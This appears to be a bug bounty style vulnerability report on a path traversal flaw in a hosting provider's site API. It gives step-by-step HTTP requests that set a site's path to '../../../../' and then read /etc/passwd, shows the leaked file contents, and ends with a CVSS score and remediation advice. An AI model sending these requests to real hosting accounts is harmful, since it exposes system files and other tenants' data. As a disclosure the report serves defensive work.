|
Task Description
TITLE: Path Traversal in Site Management `path` field allows reading arbitrary
system files via DocumentRoot manipulation
SEVERITY: HIGH (CVSS 3.1: 7.7)
SUMMARY
The `path` field in the Site Management API (PATCH /v1/site/{id}/) accepts arbitrary directory traversal sequences (e.g., `../../../../`) with NO canonicalization or validation. This allows an authenticated attacker to set the Apache DocumentRoot to any directory on the filesystem, enabling read access to ANY world-readable file on the server via HTTP GET requests.
Since the `path` change takes effect WITHOUT a server restart, the attacker can immediately read files by accessing the site's URL after updating the path.
This also enables cross-tenant data access — any file on the server that is world-readable (including files in shared /tmp, system configuration files, and potentially other users' data with loose permissions) can be retrieved.
STEPS TO REPRODUCE
Prerequisites: - A valid alwaysdata API token with account access - An existing site (site_id known)
Step 1: Get the current site configuration to confirm baseline
Request:
GET /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Accept: application/json
Response: 200 OK
{
"id": 1060051,
"path": "www/",
"addresses": ["victim.alwaysdata.net/"],
...
}
Step 2: PATCH the site with a path traversal payload
Request:
PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json
{"path":"../../../../"}
Response: 204 No Content
The `path` "../../../../" resolves from /home/{account}/www/ to the filesystem root (/), setting DocumentRoot to /.
Step 3: Access a system file via the site URL
Request:
GET /etc/passwd HTTP/1.1
Host: victim.alwaysdata.net
Accept: */*
Response: 200 OK
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
... (full /etc/passwd contents returned)
The file /etc/passwd was served as a static file through Apache with no authentication or access control applied.
Step 4: Confirm the change is immediate (no restart required)
No server restart or reload was required. The path change is reflected in the next HTTP request, confirming that the DocumentRoot is dynamically regenerated.
Step 5: Restore original path
Request:
PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json
{"path":"www/"}
Response: 204 No Content
EVIDENCE
Evidence 1: API acceptance of path traversal payload
PATCH request with path "../../../../" returned 204 No Content, confirming the value was accepted without any canonicalization or rejection.
Evidence 2: Successful read of /etc/passwd via web
HTTP GET /etc/passwd returned 200 OK with the full contents of the system password file (1764 bytes), including all 35 system users: - root, daemon, bin, sys, sync, games, man, mail, news, uucp - proxy, www-data, backup, list, irc, _apt, nobody - systemd-network, messagebus, sshd, munin, and more
Evidence 3: No restart required
The path change was reflected immediately in the very next HTTP request, with no restart or reload needed.
IMPACT
An attacker with API access (valid account credentials) can:
1. Read ANY world-readable file on the server, including:
System configuration files (/etc/passwd, /etc/shadow if readable)
Application configuration files
Database credentials in config files
Other users' files with loose permissions
SSL/ TLS certificates and private keys
Source code deployed on the server
2. Access files in /tmp/ that belong to other users on the same server
(cross-tenant data leakage).
3. Map the internal server structure, enumerate users, and find sensitive
information for further attacks.
4. The attack requires no user interaction and no unusual preconditions
beyond valid API credentials.
This vulnerability can be combined with other site management weaknesses (such as unrestricted php_ini directive injection) for code execution, amplifying the impact to full server compromise
CVSS 3.1 SCORE
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Base Score: 7.7 (HIGH)
Attack Vector: Network (AV:N) - Exploitable remotely Attack Complexity: Low (AC:L) - Simple PATCH request Privileges: Low (PR:L) - Requires valid API token User Interaction: None (UI:N) - No victim action needed Scope: Changed (S:C) - Reads files outside account boundary Confidentiality: High (C:H) - System files accessible Integrity: None (I:N) - Read-only Availability: None (A:N) - No DoS impact
REMEDIATION RECOMMENDATION
1. Canonicalize the `path` input and verify it resolves to a path WITHIN the
account's allowed directory (e.g., /home/{account}/).
2. Reject any path that contains directory traversal sequences (../ or ..\)
or resolves outside the allowed base directory.
3. Apply allowlist validation: only allow known-safe subdirectory names
(e.g., "www/", "public/", "htdocs/") rather than accepting arbitrary paths.
4. Implement server-side path normalization using realpath() or equivalent
to resolve symlinks and traversal sequences before accepting the path.
|